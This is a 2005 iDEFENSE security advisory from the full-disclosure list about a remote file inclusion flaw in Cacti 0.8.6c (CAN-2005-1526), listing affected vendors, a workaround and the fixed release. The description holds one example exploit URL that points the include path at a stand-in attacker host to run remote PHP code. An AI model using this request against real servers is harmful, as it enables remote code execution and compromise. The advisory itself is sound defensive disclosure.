full-disclosure - iDEFENSE Security Advisory 06.22.05: Multiple Vendor Cacti config_settings.php Remote Code Execution Vulnerability

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Message-ID: <FB24803D1DF2A34FA59FC157B77C970504629E95@IDSERV04.idef.com>
Date: Wed Jun 22 14:54:33 2005
From: labs-no-reply at idefense.com (iDEFENSE Labs)
Subject: iDEFENSE Security Advisory 06.22.05: Multiple
	Vendor Cacti config_settings.php Remote Code Execution Vulnerability

Multiple Vendor Cacti config_settings.php Remote Code Execution
Vulnerability

iDEFENSE Security Advisory 06.22.05
www.idefense.com/application/poi/display?id=266&type=vulnerabilities
June 22, 2005

I. BACKGROUND

Cacti is a round-robin database (RRD) tool that helps create graphs from

database information and is available on multiple Linux distributions. 

II. DESCRIPTION

Cacti contains an input validation error in the config_settings.php 
script which allows an attacker to include arbitrary PHP code from 
remote sites. This in effect allows arbitrary code execution with the 
privileges of the web server. The vulnerability specifically exists due 
to the script trusting a user supplied include_path variable. The 
following example demonstrates how this might be exploited: 

http://example.com/include/config_settings.php?config[include_path]=http
://attackersite.com/ 

In this way the file "http://attackersite.com/config_arrays.php" will be

included and executed on the vulnerable server with the privileges of 
the web server.

III. ANALYSIS

Successful exploitation of this vulnerability allows a remote attacker 
to gain shell access with the privileges of the web server. An attacker 
can then attempt to escalate privileges using local exploits, possibly 
allowing a full root compromise.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability on Cacti 
0.8.6c. Earlier versions are suspected vulnerable. The following vendors

include susceptible Cacti packages within their respective operating 
system distributions: 

	The Debian Project
	The FreeBSD Project 
	Gentoo Foundation 
	Novell Inc. (SuSE) 

V. WORKAROUND

Require authentication to access the Cacti installation. Restrict access

to web servers using Cacti to only trusted hosts.

VI. VENDOR RESPONSE

Cacti 0.8.6e has been released to address this vulnerability and is
available for download at:

   http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
   or
   http://www.cacti.net/downloads/cacti-0.8.6e.zip

Release notes for Cacti 0.8.6e can be found at:

   http://www.cacti.net/release_notes_0_8_6e.php

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1526 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

05/12/2005  Initial vendor notification
05/15/2005  Initial vendor response
06/22/2005  Coordinated public disclosure

IX. CREDIT

Maciej Piotr Falkiewicz is credited with this discovery.

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X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice@...fense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.